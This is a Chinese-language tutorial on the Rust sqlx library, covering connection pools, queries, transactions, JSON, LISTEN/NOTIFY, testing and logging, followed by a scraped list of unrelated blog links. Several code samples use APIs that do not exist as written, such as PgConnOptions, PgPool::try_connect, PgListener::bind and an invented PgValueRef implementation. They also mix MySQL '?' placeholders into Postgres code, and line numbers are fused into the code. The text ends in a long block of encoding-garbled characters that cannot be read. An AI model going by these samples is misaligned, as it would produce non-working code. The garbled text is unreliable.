1234567891011use sqlx::postgres::PgPoolOptions;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPoolOptions::new().max_connections(5).connect("postgres://postgres:@localhost").await?;Ok(())}上面的代码创建了一个最大5个连接的PostgreSQL连接池。
PgPoolOptions提供了各种配置选项。比如你可以不通过dsn字符串，而是通过方法进行用户名和密码设置：
12345678let conn = PgConnectOptions::new().host("secret-host").port(2525).username("secret-user").password("secret-password").ssl_mode(PgSslMode::Require).connect().await?;甚至可以在解析dsn字符串后再修改特定的参数，如下面的mysql示例:
12345678910111213141516171819202122use sqlx::{Connection, ConnectOptions};use sqlx::mysql::{MySqlConnectOptions, MySqlConnection, MySqlPool, MySqlSslMode};// dsn stringlet conn = MySqlConnection::connect("mysql://root:password@localhost/db").await?;// 手工构造let conn = MySqlConnectOptions::new().host("localhost").username("root").password("password").database("db").connect().await?;// 从dsn字符串解析Optionslet mut opts: MySqlConnectOptions = "mysql://root:password@localhost/db".parse()?;// 修改参数opts.log_statements(log::LevelFilter::Trace);// 创建连接池let pool = MySqlPool::connect_with(&opts).await?;单个连接
有时您可能只需要一个简单的单连接,而不需要连接池。
12345678910use sqlx::postgres::PgConnOptions;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let conn = PgConnOptions::new().connect("postgres://postgres:@localhost").await?;Ok(())}查询
在 SQL 中，查询可以分为预编译（参数化）或未预编译（简单）的。预编译查询会缓存其查询计划，使用二进制通信模式（降低带宽和更快的解码速度），并利用参数来避免 SQL 注入。未预编译的查询是简单的，并且仅用于无法使用预编译语句的情况，例如各种数据库命令（如
PRAGMA、SET或BEGIN）。sqlx 支持使用这两种类型的查询进行所有操作。在 sqlx 中，一个
&str被当作未预编译的查询来处理，而Query或QueryAs结构体被当作预编译的查询来处理。在其他语言中，预编译就是 prepared statement，未预编译就是 unprepared statement。
123// 底层执行conn.execute("BEGIN").await?; // 未预编译，简单查询conn.execute(sqlx::query("DELETE FROM table")).await?; // 预编译，此连接会缓存查询我们应该尽可能使用高级查询接口。为了使这更加容易，这些类型上有终结器（finalizers），这样就不需要使用执行器（executor）来包装它们。
换句话说，sqlx 提供了高级查询接口，这些接口使得与数据库的交互更加简洁和直观。这些接口被设计为可以独立工作，而不需要显式地创建一个执行器对象来执行查询。终结器（在这里可能指的是一些内部机制或方法）确保了这些高级接口在使用后可以正确地清理和关闭相关资源，从而简化了开发者的工作。12sqlx::query("DELETE FROM table").execute(&mut conn).await?;sqlx::query("DELETE FROM table").execute(&pool).await?;在 sqlx 中，执行查询（execute）的终结器会返回受影响的行数（如果有的话），并丢弃所有接收到的结果。此外，还提供了
fetch、fetch_one、fetch_optional和fetch_all方法来接收结果。sqlx::query返回的Query类型, 它会从数据库中返回Row<'conn>。可以使用row.get()方法通过索引或名称访问列值。由于Row保持了对连接的不可变借用，因此一次只能存在一个Row。fetch查询的终结器返回一个类似流的类型，该类型会遍历结果集中的行。你可以通过迭代这个流来访问每一行数据。这通常用于处理查询结果集中有多行数据的情况。1234567891011// 提供 `try_next`use futures::TryStreamExt;let mut rows = sqlx::query("SELECT * FROM users WHERE email = ?").bind(email).fetch(&mut conn);while let Some(row) = rows.try_next().await? {// 将row映射到用户定义的领域类型let email: &str = row.try_get("email")?;}为了将row映射到领域类型，可以使用以下两种模式之一：
- 手工映射
12345let mut stream = sqlx::query("SELECT * FROM users").map(|row: PgRow| {// 映射row到用户定义的领域类型}).fetch(&mut conn);- 使用
query_as和bind方法
1234567#[derive(sqlx::FromRow)]struct User { name: String, id: i64 }let mut stream = sqlx::query_as::<_, User>("SELECT * FROM users WHERE email = ? OR name = ?").bind(user_email).bind(user_name).fetch(&mut conn);除了使用类似流的类型来遍历结果集之外(
fetch)，我们还可以使用fetch_one或fetch_optional来从数据库中请求一个必需的或可选的结果。fetch_one: 这个方法会尝试从结果集中获取第一行数据。如果结果集为空（即没有数据），那么fetch_one通常会返回一个错误。这个方法适用于你期望查询结果只有一行数据的情况。fetch_optional: 这个方法类似于fetch_one，但它返回一个可选的结果（Option<Row>或Option<T>，如果使用了类型映射）。如果结果集为空，它将返回None而不是错误。这使得它在处理可能返回零行或多行数据的查询时更加灵活，但你又只关心第一行数据（如果存在）的情况下特别有用。
使用这两个方法可以帮助你更直接地处理那些只返回单个结果（或可能不返回结果）的查询
原生查询和参数化查询
sqlx支持执行原生SQL查询,也支持使用绑定参数进行参数化查询,后者有助于防止SQL注入攻击。
1234567891011121314151617#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */// 原生查询let name: String = sqlx::query_scalar("SELECT name FROM users WHERE id = 1").fetch_one(&pool).await?;// 参数化查询let count: (i64,) = sqlx::query_as("SELECT COUNT(*) FROM users WHERE email LIKE $1").bind("%@example.com").fetch_one(&pool).await?;Ok(())}流式查询
sqlx支持流式查询，这意味着你可以在查询结果返回时立即处理它们，而不需要等待整个结果集加载完毕。这对于处理大量数据或需要实时处理数据的情况非常有用。
1234567891011121314151617use sqlx::postgres::PgRow;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */let mut rows = sqlx::query("SELECT id, name FROM users").fetch(&pool);while let Some(row) = rows.try_next().await? {let id: i32 = row.try_get(0)?;let name: &str = row.try_get(1)?;println!("{} {}", id, name);}Ok(())}查询结果映射到Rust数据结构
最常见的查询方式是将结果映射到一个Rust数据结构,比如结构体或元组结构体。sqlx会自动将数据库列映射到结构体字段。
比如下面这个例子是查询一个用户的信息：
123456789101112131415161718192021use sqlx::FromRow;#[derive(FromRow)]struct User {id: i32,name: String,email: String,}#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */let user = sqlx::query_as::<_, User>("SELECT id, name, email FROM users WHERE id = $1").bind(42).fetch_one(&pool).await?;println!("{:?}", user);Ok(())}又比如下面这个例子查询一组书籍的信息:
123456789101112131415161718192021222324use sqlx::postgres::PgPool;use sqlx::FromRow;#[derive(FromRow)]struct Book {id: i32,title: String,author: String,}#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPool::connect("postgres://postgres:@localhost").await?;let books = sqlx::query_as::<_, Book>("SELECT * FROM books").fetch_all(&pool).await?;for book in books {println!("{} - {} ({})", book.id, book.title, book.author);}Ok(())}执行语句
除了查询,sqlx还支持执行其他SQL语句,如INSERT、UPDATE和DELETE等。它提供了多种执行这些语句的方法,包括支持事务。
执行语句
最简单的执行语句方式是使用
execute函数:12345678910111213#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */let inserted_rows = sqlx::query("INSERT INTO users (name, email) VALUES ($1, $2)").bind("User1").bind("user1@example.com").execute(&pool).await?.rows_affected();println!("Inserted {} rows", inserted_rows);Ok(())}上面这个例子是插入一行数据到
users表中，并打印出插入的行数。不要被
sqlx::query这个名字所误导,它不仅仅用于查询,还可以用于执行其他SQL语句。下面是一个插入/更新/删除数据的示例:
12345678910111213141516171819202122232425262728293031323334353637383940414243use sqlx::postgres::PgPool;#[derive(Debug)]struct User {id: i32,name: String,email: String,}#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPool::connect("postgres://postgres:@localhost").await?;// 插入新用户let user = User { id: 0, name: "NewUser".into(), email: "new@example.com".into() };let id = sqlx::query("INSERT INTO users (name, email) VALUES ($1, $2) RETURNING id").bind(&user.name).bind(&user.email).fetch_one(&pool).await?.get(0);println!("Inserted user with id: {}", id);// 更新用户let updated_rows = sqlx::query("UPDATE users SET email=$1 WHERE id=$2").bind("updated@example.com").bind(id).execute(&pool).await?.rows_affected();println!("Updated {} rows", updated_rows);// 删除用户let deleted_rows = sqlx::query("DELETE FROM users WHERE id=$1").bind(id).execute(&pool).await?.rows_affected();println!("Deleted {} rows", deleted_rows);Ok(())}事务
sqlx支持事务,你可以使用
transaction方法来执行一个事务。
要执行多个语句作为一个原子事务,您可以使用begin、commit和rollback函数:1234567891011121314151617181920#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */let mut tx = pool.begin().await?;sqlx::query("UPDATE users SET email=$1 WHERE id=$2").bind("new@email.com").bind(42).execute(&mut tx).await?;sqlx::query("DELETE FROM users WHERE id=$1").bind(43).execute(&mut tx).await?;tx.commit().await?;Ok(())}上面的示例首先开始一个新事务,然后执行两个语句,最后提交事务。如果中间任何一步失败,可以调用
rollback回滚整个事务。面是一个使用sqlx中事务和回滚(rollback)的示例:
123456789101112131415161718192021222324252627282930313233343536373839404142use sqlx::postgres::PgPool;use sqlx::Error;#[tokio::main]async fn main() -> Result<(), Error> {let pool = PgPool::connect("postgres://postgres:@localhost").await?;// 开始一个事务let mut transaction = pool.begin().await?;// 执行一些操作sqlx::query("UPDATE accounts SET balance = balance - $1 WHERE id = $2").bind(100.0) // 从账号中扣除100元.bind(1).execute(&mut transaction).await?;sqlx::query("UPDATE accounts SET balance = balance + $1 WHERE id = $2").bind(100.0) // 将100元转账到另一个账号.bind(2).execute(&mut transaction).await?;// 模拟一个错误情况if should_rollback() {// 回滚事务transaction.rollback().await?;println!("Transaction rolled back");} else {// 提交事务transaction.commit().await?;println!("Transaction committed");}Ok(())}fn should_rollback() -> bool {// 一些条件判断，决定是否需要回滚// 这里为了演示，我们随机返回true或falserand::thread_rng().gen_bool(0.5)}在这个示例中,我们首先使用
pool.begin()开始一个新的事务。然后,我们执行两个查询,分别从一个账户扣除100元,并将这100元转账到另一个账户。
接下来,我们调用should_rollback()函数来模拟一个错误情况。如果should_rollback()返回true,我们就调用transaction.rollback().await?来回滚整个事务。否则,我们调用transaction.commit().await?来提交事务。在真实情况下,您可能会在遇到某些异常或错误时触发回滚,例如:
- 违反了某些业务规则或数据完整性约束
- 发生了意外的异常或错误
- 用户取消或中断了操作
- 出于某些原因,整个事务需要被回滚
通过使用事务和回滚,您可以确保数据库中的更改要么全部成功,要么完全回滚,从而保持数据的一致性和完整性。这对于处理敏感操作或需要多个步骤的复杂操作非常重要。
连接池和并发
sqlx内置了连接池支持,这使得它天生就支持高效的并发查询。通过连接池,可以避免为每个查询创建新连接的开销。
连接池管理
sqlx中的连接池由
PgPool之类的类型表示。您可以直接创建一个连接池实例,也可以使用PgPoolOptions来定制配置:123456use sqlx::postgres::PgPoolOptions;let pool = PgPoolOptions::new().max_connections(10).connect("postgres://postgres:@localhost").await?;上面的代码创建了一个最大连接数为10的PostgreSQL连接池。
PgPoolOptions提供了各种配置选项,如最大连接数、最小连接数、连接超时等。并发查询
由于sqlx内置了连接池,因此并发查询变得非常简单。你只需要在多个异步任务中并行执行查询即可:
12345678910111213141516171819202122use sqlx::postgres::PgPool;use std::time::Instant;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPool::connect("postgres://postgres:@localhost").await?;let tasks = (0..10).map(|_| {let pool = pool.clone();tokio::spawn(async move { // 并发let now = Instant::now();let _ = sqlx::query("SELECT pg_sleep(1)").execute(&pool).await;println!("Task completed in {:?}", now.elapsed());})}).collect::<Vec<_>>();for task in tasks {task.await?;}Ok(())}上面的代码创建了一个包含10个任务的并发查询。每个任务都会执行一个简单的查询,然后打印出执行时间。通过并发查询,您可以同时执行多个查询,从而提高查询效率。
下面是一个更实际的示例,模拟了并发处理多个Web请求的场景:
12345678910111213141516171819202122232425262728293031323334use sqlx::postgres::{PgPool, PgRow};use std::io;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPool::connect("postgres://postgres:@localhost").await?;let requests = vec!["SELECT * FROM users WHERE id = $1","SELECT * FROM products WHERE category = $1","SELECT * FROM orders WHERE user_id = $1",];for request in requests {let rows = sqlx::query(request).bind(42).fetch_all(&pool).await?;for row in rows {print_row(row);}println!();}Ok(())}fn print_row(row: PgRow) {let cols = row.columns();let values: Vec<&str> = row.get_refs(cols).into_iter().map(|v| v.unwrap()).collect();println!("{}", values.join(", "));}在这个示例中,我们模拟了处理多个Web请求的场景。我们定义了一个包含多个查询的请求列表,然后并发执行这些查询。每个查询都会返回一组行数据,我们将这些行数据打印出来。通过并发查询,我们可以同时处理多个请求,从而提高系统的性能和效率。
JSON支持
现代数据库广泛支持 JSON 数据类型,sqlx也为此提供了非常好的支持。您可以方便地查询JSON类型以及将查询结果映射为 JSON。
查询 JSON 类型
在数据库中,JSON 类型通常被存储为文本。sqlx允许你直接查询和处理 JSON 数据:
1234567891011121314#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */let json_data: serde_json::Value = sqlx::query(r#"SELECT '[{"id": 1, "name": "Product 1"}, {"id": 2, "name": "Product 2"}]'::json"#).fetch_one(&pool).await?.get(0);println!("{:?}", json_data);Ok(())}这个例子查询了一个JSON数组,并将其直接映射为
serde_json::Value。将查询结果映射为JSON
您还可以将常规的查询结果映射为JSON格式。这对于构建API或与前端交互非常有用。
123456789101112131415161718192021222324use serde::{Serialize, Deserialize};#[derive(Deserialize, Serialize)]struct Product {id: i32,name: String,price: f64,}#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */let products: Vec<Product> = sqlx::query_as("SELECT id, name, price FROM products").fetch_all(&pool).await?;let json = serde_json::to_string(&products)?;println!("{}", json);Ok(())}这个例子查询了产品列表,并使用
serde_json将其序列化为JSON格式。使用 PostgreSQL 的 JSON 类型
这是一个更全面的示例,展示了如何在 PostgreSQL 中使用 JSON 类型:
1234567891011121314151617181920212223242526272829303132333435363738394041424344use serde::{Deserialize, Serialize};use sqlx::postgres::PgPool;use sqlx::types::JsonValue;#[derive(Serialize, Deserialize)]struct User {id: i32,name: String,profile: JsonValue,}#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPool::connect("postgres://postgres:@localhost").await?;// 插入用户及其JSON配置文件let profile = serde_json::json!({"bio": "Software Engineer","interests": ["coding", "reading"]});let user = User {id: 0,name: "NewUser".into(),profile: profile.into(),};let id = sqlx::query("INSERT INTO users (name, profile) VALUES ($1, $2) RETURNING id").bind(&user.name).bind(&user.profile).fetch_one(&pool).await?.get(0);// 查询并打印用户及其配置文件let user: User = sqlx::query_as("SELECT id, name, profile FROM users WHERE id = $1").bind(id).fetch_one(&pool).await?;println!("{:?}", user);Ok(())}在这个例子中,我们首先使用
serde_json创建了一个JSON 值,作为用户配置文件。然后,我们将这个JSON 值 插入到数据库中。最后,我们查询用户并将配置文件作为JsonValue类型获取。通知和监听
sqlx提供了在数据库中监听通知(
NOTIFY/LISTEN)的功能,这使得构建基于事件的、实时应用程序成为可能。数据库通知
数据库通知是一种机制,允许应用程序在数据库中发生某些事件时接收通知。这种功能在构建基于事件的系统(如聊天应用程序或实时仪表板)时非常有用。12-- 在数据库中触发通知NOTIFY channel_name, 'hello';使用监听器
sqlx通过DatabaseNotification结构体来表示接收到的通知。您可以在应用程序中设置一个监听器,以接收并处理这些通知。123456789101112131415use sqlx::postgres::PgListener;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let listener = PgListener::bind("postgresql://localhost/").await?;listener.listen("channel_name").await?;loop {let notification = listener.recv().await?;println!("Received notification: {} ({})",notification.payload, notification.payload_pretty(),);}}上面的示例创建了一个
PostgreSQL监听器,并开始监听名为channel_name的通道。当接收到通知时,它会打印出通知的有效负载。这是一个更完整的示例,展示了如何在PostgreSQL中设置通知并在应用程序中监听它们:
1234567891011121314151617181920use sqlx::postgres::{PgPool, PgListener};#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPool::connect("postgres://postgres:@localhost").await?;let listener = PgListener::bind("postgresql://localhost/").await?;// 创建一个通知通道sqlx::query("LISTEN channel_name").execute(&pool).await?;// 在另一个连接上触发通知sqlx::query("NOTIFY channel_name, 'hello'").execute(&pool).await?;// 等待并处理通知if let Some(notification) = listener.recv().await? {println!("Received notification: {}", notification.payload);}Ok(())}在这个例子中,我们首先创建了一个PostgreSQL监听器,并在数据库中设置了一个名为
channel_name的通知通道。然后,我们在另一个连接上触发了一个通知。最后,监听器接收到通知并打印出了它的有效负载。测试
编写测试对于任何健壮的软件系统都是必不可少的,sqlx也不例外。幸运的是,sqlx提供了多种方式来测试与数据库交互的代码。
测试连接
最基本的测试是确保您的应用程序能够成功连接到数据库。您可以使用sqlx提供的
try_connect函数进行测试：1234567use sqlx::PgPool;#[tokio::test]async fn test_connection() {let pool = PgPool::try_connect("postgres://postgres:@localhost").await.unwrap();// 执行一些操作来测试连接...}测试查询
您还可以测试查询,以确保它们能够正确地执行并返回预期的结果。您可以使用
query和query_as函数来测试查询:12345678910111213use sqlx::PgPool;#[tokio::test]async fn test_query() {let pool = PgPool::connect("postgres://postgres:@localhost").await.unwrap();let row: (i64,) = sqlx::query_as("SELECT 1").fetch_one(&pool).await.unwrap();assert_eq!(row.0, 1);}使用内存数据库
sqlx支持使用内存数据库进行测试,例如SQLite内存数据库。这种方式快速、轻量,非常适合单元测试。
12345#[tokio::test]async fn test_query() {let pool = sqlx::SqlitePool::connect(":memory:").await.unwrap();// 执行测试...}对于更全面的集成测试,您可以在测试用例中创建一个临时的测试数据库,执行所需的操作,然后在测试结束时清理该数据库。这种方式更接近真实的生产环境。
使用mock数据库
如
msql-srv、opensrv-clickhouse、opensrv-mysql、下面是一个使用集成测试数据库进行测试的例子:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657use sqlx::postgres::{PgPool, PgRow};#[tokio::test]async fn test_user_operations() {let pool = create_test_pool().await;// 准备测试数据sqlx::query("CREATE TABLE users (id SERIAL PRIMARY KEY, name TEXT, email TEXT)").execute(&pool).await.unwrap();// 插入新用户let name = "Test User".to_owned();let email = "test@example.com".to_owned();let id = insert_user(&pool, &name, &email).await;// 查询并验证用户数据let row: PgRow = sqlx::query_as("SELECT id, name, email FROM users WHERE id = $1").bind(id).fetch_one(&pool).await.unwrap();assert_eq!(row.get::<i32, _>(0), id);assert_eq!(row.get::<String, _>(1), name);assert_eq!(row.get::<String, _>(2), email);}async fn insert_user(pool: &PgPool, name: &str, email: &str) -> i32 {sqlx::query("INSERT INTO users (name, email) VALUES ($1, $2) RETURNING id").bind(name).bind(email).fetch_one(pool).await.unwrap().get(0)}async fn create_test_pool() -> PgPool {let db_name = "test_database";let pool = PgPool::connect(&format!("postgres://postgres:@localhost/{}", db_name)).await.unwrap();// 清理并重新创建测试数据库sqlx::query(&format!("DROP DATABASE IF EXISTS {}", db_name)).execute(&pool).await.unwrap();sqlx::query(&format!("CREATE DATABASE {}", db_name)).execute(&pool).await.unwrap();pool}在这个示例中,我们首先创建了一个专用的测试数据库。然后我们在这个数据库中创建了一个users表,并进行了插入、查询等操作,最后验证了查询结果。
高级主题
除了基础功能外,sqlx还提供了一些高级功能,如自定义类型映射、编译时检查和性能分析等,可以进一步提高您的生产力和应用程序的性能。
自定义类型映射
sqlx允许您定义自定义的数据类型映射规则,将数据库中的数据类型映射到Rust中的类型。这对于处理一些特殊的数据类型或实现自定义的逻辑非常有用。
123456789101112131415161718192021222324use sqlx::types::Type;use sqlx::postgres::{PgTypeInfo, PgValueRef};struct MyType(String);impl Type<PgTypeInfo> for MyType {fn type_info() -> PgTypeInfo {PgTypeInfo::with_name("mytype")}fn readable_name() -> String {"MyType".into()}}impl<'r> PgValueRef<'r> for MyType {fn from_pg_value(value: Option<&'r [u8]>) -> Option<MyType> {value.map(|bytes| MyType(String::from_utf8_lossy(bytes).into_owned()))}fn to_pg_value(&self) -> Option<Vec<u8>> {Some(self.0.as_bytes().to_vec())}}在这个例子中,我们定义了一个名为
MyType的自定义数据类型,并实现了Type和PgValueReftrait。这样,我们就可以将数据库中的mytype类型映射到Rust中的MyType类型。编译时检查
sqlx提供了一些宏和编译时检查功能,可以在编译时捕获一些错误,而不是在运行时才发现。这有助于提高代码质量和安全性。
1234567891011use sqlx::query;#[rustfmt::skip]let query = query!("SELECT id, name, emailFROM usersWHERE id = ?",42);上面的
query!宏可以在编译时检查SQL语句的语法错误,并验证绑定参数的数量和类型。这样可以避免在运行时才发现这些问题。类似的宏还有
query_as!、query_scalar!、query_file!、query_file!、query_file_scalar!以及它们的变种query_xxx_unchecked!。执行时间
你可以通过计时来分析查询的性能,并根据结果进行优化。sqlx提供了一些工具来帮助您分析查询的性能,如
log_statements、log_slow_statements等。1234567891011121314151617181920212223242526use sqlx::query;use sqlx::postgres::PgQueryAs;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = /* 连接池初始化 */let query = query_as!(User,r#"SELECT id, name, emailFROM usersWHERE id = $1"#);for attempt in 0..5 {let time = std::time::Instant::now();let _users: Vec<User> = query.bind(42).fetch_all(&pool).await?;let elapsed = time.elapsed();println!("Query attempt {attempt} took: {elapsed:?}");}Ok(())}打印日志
ConnectOptions提供了两个设置日志的方法：- log_statements: 使用指定的级别打印执行语句
- log_slow_statements: 使用指定的级别打印执行时间超过指定阈值的SQL语句。
1234567891011121314151617181920use sqlx::postgres::PgPoolOptions;#[tokio::main]async fn main() -> Result<(), sqlx::Error> {let pool = PgPoolOptions::new().max_connections(5).log_statements(log::LevelFilter::Debug) // 记录所有SQL语句.log_slow_statements(log::LevelFilter::Warn, std::time::Duration::from_millis(100)) // 记录执行时间超过100ms的慢查询.connect("postgres://postgres:@localhost").await?;// 执行一些查询let row: (i64,) = sqlx::query_as("SELECT 42").fetch_one(&pool).await?;println!("Result: {}", row.0);Ok(())}最佳实践和故障排除
再啰嗦几句。
在使用sqlx时,遵循一些最佳实践可以帮助您编写更加安全、高效和可维护的代码。此外,掌握一些常见错误和故障排除技巧也很有帮助。
sqlx最佳实践
- 使用参数化查询: 始终使用带参数的查询,而不是字符串插值。这可以防止SQL注入攻击。
- 监控连接池指标: 监控连接池的指标,如活跃连接数、获取连接等待时间等,以确保连接池配置正确。
- 避免ORM: sqlx是一个查询构建器,而不是完整的对象关系映射(ORM)库。尽量避免在sqlx中复制ORM功能。
- 使用流式查询: 对于大型查询结果集,使用流式查询可以避免一次性加载所有数据到内存中。
- 利用编译时检查: 使用sqlx提供的query!和query_as!宏,可以在编译时捕获SQL语法错误和类型不匹配等问题。
- 测试覆盖: 为您的数据库交互代码编写单元测试和集成测试,以确保正确性和稳定性。
常见错误和故障排除
- 连接池耗尽: 如果出现"连接池耗尽"错误,可能是因为并发请求过多或连接池配置不当导致的。检查连接池指标并适当调整
max_connections。 - 死锁: 在事务中执行多个查询时,可能会遇到死锁情况。确保正确使用事务,并实现重试逻辑。
- 类型不匹配: 如果遇到"无法将PostgreSQL类型映射到Rust类型"之类的错误,检查您的结构体字段类型是否与数据库列类型匹配。
- SQL语法错误: 如果出现SQL语法错误,首先检查您是否使用了参数化查询。如果使用了query!宏,也可能是宏解析出现了问题。
- 查询性能差: 如果查询性能较差,可以使用sqlx提供的查询追踪功能分析查询执行情况,并优化慢查询。如果频繁创建连接，检查连接池配置是否合理，比如
min_connections是否过小
生产就绪建议
- 启用日志记录: 在生产环境中合理启用sqlx的日志记录,以便更好地调试和监控应用程序。
- 监控指标: 监控数据库和连接池指标,如查询执行时间、错误率、连接池利用率等。
- 进行负载测试: 在部署之前,对您的应用程序进行全面的负载测试,以确保其能够在生产环境中良好运行。
- 实施安全最佳实践: 遵循安全最佳实践,如使用参数化查询、限制数据库权限、加密敏感数据等。
- 准备故障转移计划: 制定数据库故障转移计划,以确保应用程序在数据库出现故障时能够正常运行。
- 持续集成和交付: 将sqlx集成测试纳入您的持续集成和交付流程,以确保代码质量。
sqlx生态
有一些其他数据库的扩展和支持，比如
sqlx-rxqlite、sqlx-clickhouse-ext。sqlx-crud提供常见的数据库操作的CRUD操作的derive宏:123456789101112use sqlx::FromRow;use sqlx_crud::SqlxCrud;#[derive(Debug, FromRow, SqlxCrud)]struct User {user_id: i32,name: String,}if let Some(user) = User::by_id(&pool, 42) {println!("Found user user_id=42: {:?}", user);}sqlx-error提供了对sqlx::Error的包装。当然还有一些其他的库，不过当前关注度还不是很高。
- 博客 扯氮集 2024-05-11 14:17:53一 先说点百度璩静这个事的后续吧。 璩静自己承认了错误，既然是错误，那就要支付代价。于是离了职。 但百度官方 更多...
- 博客 二丫讲梵 2024-05-11 07:46:53如要阅读全文，点击标题跳转。从播客里，从私人漫游里，从日推里，我收获了不少没听过的好歌，这些歌被我收藏在2024年的歌单中，如果你偶然至此，不用犹豫，大胆点开，畅享音乐带给我们的欢愉吧。小崔批评了罗永浩，金星，说别加入骗中国穷老百姓的队伍。我这几天一直在思索此话，感慨现在说这样的话的人，实在太少，几乎没有。我所处的城市，所在的互联网，所经历的朋友圈，则几乎都是言必提钱，思必及利。回看自己，何尝不是如此，我早已忘却某些本分，我早已忘却某些追求，我早已不再是那个愤世嫉俗的单纯青年。
- 博客 太隐 2024-05-10 19:00:00358
- 博客 二丫讲梵 2024-05-10 06:05:51如要阅读全文，点击标题跳转。学习周刊-总第158期,kpexec一个能够以root用户exec到普通用户运行的k8s容器中
- 博客 卢昌海的个人主页 2024-05-09 18:49:00站长在 YouTube 频道发布的最新视频，介绍该频道开通一个月以来的情况
- 博客 扯氮集 2024-05-08 14:28:11一 百度副总裁，公关一号位，璩静女士最近引发的争议，让我想起了一个消失有那么大几年的词：这届百度公关。 这其实 更多...
- 博客 扯氮集 2024-05-06 14:35:50一 有两句话，还蛮值得琢磨的。 第一句话是前央视名嘴现在创投人张泉灵说的，时代抛弃你的时候，连招呼都不会打。 更多...
- 博客 云风的 BLOG 2024-05-06 09:51:56
���죬�����ڹ��ݰ������İ칫�����һ�졣��Ȼ Last day �趨���� 5 �� 20 �գ�������ȫ���Ǽ��ڣ�Ӧ�ò����ٻ��������Щ�������Ҷ�û���ù������ǵ�����Զ����ϣ�����������ȫ��һС�룩�ˡ�
�ع��ҵ�ְҵ���ģ�2001 ��֮ǰ�ڱ��������˴�ҵ�����������ݵĹ�����������֮�������������ʮ�� ��ֱ�� 2011 ���뿪 ��2011 ��ף����Ǵ����˼�����ԭ����Ϊ�����ҹ�˾һֱ����ȥ�����ڸ��ֻ�Ե�£��� 2017 ��ױ�����Ͱ��չ���֮���ұ��˳���˾�Ĺ�����ר�Ŀ�����Ϸ������
ÿ�ξ�����ӡ֤�Ų�ͬ���ľ������˵��ǣ�ÿ�ο�ʼ�ͽ����������ҵ�����ѡ��л��Щ�������ҵ����ԵĻ�飬����ִ�����Լ��뷨��ͬʱ��Ҳ�ر���������ˡ�
��ҵ�Ŀ�ʼԵ�ڴ�ѧʱ����������Ȱ���Ϸ�����ѣ�������ʢ�ĺ��������������Լ�����Ϸ�����Ҿ����Լ�����������ʱ����Ը��ֻ��Ϊ�˹��ʶ��Ѿ��������ڲ�̫ϲ���������ϣ�������ѡ���뿪����������Լ���
�������ף���Ϊ�ҴӴ�ѧ�ڼ���ڿ����ķ�����档�������������������һ��ʧ�ܵ���Ϸ��Ŀ�������Σ���Ȼ��һ��ʮ�ꡣ���뿪����Ϊ�����¿�ʼ�����ҷ��������������������������Ķ���ʱ�����Լ�ȥ�������£���Ī����ջ�
�������������Ȼ����˵�Ǵ�ҵ��������û�ио���ѹ������Ӧ���������ŶӾ������ɹ����������Űɡ���Ȼǰ���겢���ɹ�������������Ŀ����ʧ���ˣ������漣��������ֻ���Ϸ�Ŀ쳵���˹�����
�Ҿ�����δ�ҵ�����������������ǣ��ŶӺ�����ҵ��һ��Ҫ��ȷ���ù�Ȩ���������ķ�������ȫȨ�����������ε���ȥִ�У���Ҿ���û�к��֮�ǵ����¡�ֱ���Ͱ���̸��˾�չ�ʱ�����ǵĴ�ʼ���Ŷ���Ȼ��ѭ�������Լ�����ü������м�ֵ����Ļ�鶼����˻������ľ��ûر���������Ҳ��Ϊ���ǵļ��룬�ڶ̶�һ���ھ��ջ� ��������Ͷ�ʻر���˫Ӯ�Ľ�֡�
2018 �꿪ʼ���Ҿ���������һ���������ó����¡��������ݣ�ѧϰ��ι����ܶ������²����������ķ�չ�������䵱�������뿪Դ�������ҷ��֣������������������������ʩ����������һ������֧�š����� 2011 ��ʱ���Ҿͻ��ɹ���������Ŀ��Ҫ�ܶ���һ����ɿ�����һ��ƭ�� ����ô��������һ���ȶ��Ļ������Լ���������ʱ�����ֻ��������������Ӧ�ó�������ʲô��
��Ϸ�������Ҷ�����һֱ���������顣���ڶ�ʮ����ǰ��У��ҿ�ʼд�Լ�����Ϸʱ���ͷ��ֱ�������һЩ���Ƶĵײ���ʩ֧�֡��ҵ���Ȥ��һֱ������սһ�����������⡣��Ϸ�������һϵ�о�������ɣ�ÿһ�����ö������ס��������Ҫһ��������һ�����Դ���һ������������
�����ڼ���ʱ����Ϸ���������ֵĵײ���ʩ skynet ��һ��ʼ���ǿ�Դ��ʽ������ ��������������һ����ά���������꣬ͬʱ�ִӿ������������˴����Ĺ��ף������ɳ�Ϊһ���ɹ�����Ŀ������Ӧ������Ϸ֮��Ĵ�������
����Ϸ�ͻ��˲��֣�һֱδ�ܽ����Լ��Ļ�����ʩ����Ȼ�� 2013 �꣬������ת�Ϳ����ֻ���Ϸʱ����д�� ejoy2d ������ֻ��һ��Ϊ��֧�ŵ�ʱİİ���������Ϸ���ٶ��Ƶ�С���⡣����������������־ս��ļ��꣬�ṹ������Ѿ������ظ���Ƿ�˺ܶ༼��ծ��
��Ȼ�Լ�����Ĺ�˾�Ѿ���ȫ���������Ҷ������ҵ�����и��顣����Ϊ�����һ����Ϸ��˾�볤Զ��չ����ôӵ���Լ��ĵײ���ʩ�ľ�ս�����塣���п����Ǹ������Ĺ��̣�����һ���������ر����ܿ���ʧ�ܣ���һ���ɹ������������±�����һ��������ڻر�����ǿ������������ȥ�����������Լ���������˭��
